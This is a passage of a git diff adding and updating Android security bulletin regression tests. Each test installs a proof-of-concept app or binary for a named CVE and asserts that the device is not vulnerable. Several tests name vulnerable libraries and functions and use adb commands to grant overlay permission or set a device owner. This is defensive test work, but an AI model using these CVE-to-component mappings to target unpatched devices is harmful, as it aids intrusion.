 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends BaseHostJUnit4Test {
+public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index 9b592bd..bf261fd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.After;
@@ -38,7 +38,7 @@
  * Test installs sample app and then tries to overwrite *.apk file
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends BaseHostJUnit4Test {
+public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
     private static final String TEST_APP = "CVE-2021-0691.apk";
     private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 5f13cf6..2b7ad14 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends BaseHostJUnit4Test {
+public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index c46bede..fabaf89 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends BaseHostJUnit4Test {
+public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 27900e1..760c265 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@
 import android.util.Log;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.log.LogUtil.CLog;
 import org.junit.After;
 import org.junit.Assert;
@@ -30,7 +30,7 @@
 import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends BaseHostJUnit4Test {
+public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
new file mode 100644
index 0000000..ecb6bdd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 184046278)
+    @Test
+    public void testPocCVE_2021_0953() throws Exception {
+        final String TEST_PKG = "android.security.cts.CVE_2021_0953";
+        final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+        final String TEST_APP = "CVE-2021-0953.apk";
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index a242904..65934f2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -16,18 +16,20 @@
 
 package android.security.cts;
 
-import static org.junit.Assert.assertFalse;
+
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends BaseHostJUnit4Test {
+public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0965.apk";
@@ -45,10 +47,6 @@
     @Test
     public void testPocCVE_2021_0965() throws Exception {
         installPackage(TEST_APP, new String[0]);
-        runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
-        String errorLog = "Vulnerable to b/194300867 !!";
-        String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
-        Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
-        assertFalse(pattern.matcher(logcat).find());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"));
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
new file mode 100644
index 0000000..3b12ce5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_APP = "CVE-2021-39626.apk";
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    @AsbSecurityTest(cveBugId = 194695497)
+    @Test
+    public void testPocCVE_2021_39626() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(TEST_APP, "-t");
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testBtDiscoverable");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
new file mode 100644
index 0000000..6cac004
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39664 extends SecurityTestCase {
+
+    /**
+     * b/203938029
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libandroidfw (As per AOSP code)
+     * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 203938029)
+    @Test
+    public void testPocCVE_2021_39664() throws Exception {
+        String inputFiles[] = {"cve_2021_39664"};
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-39664";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
+                        "android::LoadedPackage::Load"));
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
new file mode 100644
index 0000000..519bd24
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39665 extends SecurityTestCase {
+
+    /**
+     * b/204077881
+     * Vulnerability Behavior: SIGSEGV in self
+     * Vulnerable Library: libmediaplayerservice (As per AOSP code)
+     * Vulnerable Function: android::AAVCAssembler::checkSpsUpdated (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 204077881)
+    @Test
+    public void testPocCVE_2021_39665() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-39665";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
+                        "android::AAVCAssembler::checkSpsUpdated"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
new file mode 100644
index 0000000..8f12b52
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39675 extends SecurityTestCase {
+
+    /**
+     * b/205729183
+     * Vulnerability Behavior: EXIT_VULNERABLE (113)
+     */
+    @AsbSecurityTest(cveBugId = 205729183)
+    @Test
+    public void testPocCVE_2021_39675() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(),
+                 AdbUtils.TIMEOUT_SEC);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
new file mode 100644
index 0000000..444f1a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 209611539)
+    @Test
+    public void testPocCVE_2021_39692() throws Exception {
+        ITestDevice device = getDevice();
+        final String testPkg = "android.security.cts.CVE_2021_39692";
+        uninstallPackage(device, testPkg);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage("CVE-2021-39692.apk");
+        AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
new file mode 100644
index 0000000..acc6a2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+
+    /**
+     * b/201645790
+     * This test is related to
+     * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java"
+     */
+    @AsbSecurityTest(cveBugId = 201645790)
+    @Test
+    public void testPocCVE_2021_39700() throws Exception {
+        ITestDevice device = getDevice();
+        assumeTrue("Failed to unroot the device", device.disableAdbRoot());
+        String procUdp6File = "/proc/net/udp6";
+        File tempFile = File.createTempFile("CVE_2021_39700", "temp");
+        assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile));
+        tempFile.deleteOnExit();
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
new file mode 100644
index 0000000..d92af4d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39702 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-39702.apk";
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 205150380)
+    @Test
+    public void testPocCVE_2021_39702() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
new file mode 100644
index 0000000..e2d88bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+    public static final int USER_ID = 0;
+    static final String TEST_APP = "CVE-2021-39706.apk";
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39706";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    public static final String TEST_DEVICE_ADMIN_RECEIVER = TEST_PKG + ".PocDeviceAdminReceiver";
+
+    @After
+    public void tearDown() throws Exception {
+        // Remove Device Admin Component
+        AdbUtils.runCommandLine("dpm remove-active-admin --user " + USER_ID + " '" + TEST_PKG + "/"
+                + TEST_DEVICE_ADMIN_RECEIVER + "'", getDevice());
+    }
+
+    @AsbSecurityTest(cveBugId = 200164168)
+    @Test
+    public void testPocCVE_2021_39706() throws Exception {
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP, "-t");
+        // Set Device Admin Component
+        AdbUtils.runCommandLine("dpm set-device-owner --user " + USER_ID + " '" + TEST_PKG + "/"
+                + TEST_DEVICE_ADMIN_RECEIVER + "'", device);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testCredentialReset");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
new file mode 100644
index 0000000..0ae1efa
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase  {
+
+    static final String TEST_APP = "CVE-2021-39794-test.apk";
+    static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
+
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39794_test";
+    static final String RECEIVER_PKG = "android.security.cts.CVE_2021_39794_receiver";
+
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    /**
+     * b/205836329
+     */
+    @AsbSecurityTest(cveBugId = 205836329)
+    @Test
+    public void testPocCVE_2021_39794() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+        uninstallPackage(device, RECEIVER_PKG);
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(RECEIVER_APP);
+        AdbUtils.runCommandLine("am start -n " + RECEIVER_PKG + "/.PocActivity", device);
+
+        installPackage(TEST_APP);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_39794"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
new file mode 100644
index 0000000..f90cae0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+    static final int USER_ID = 0;
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    static final String TEST_APP = "CVE-2021-39796.apk";
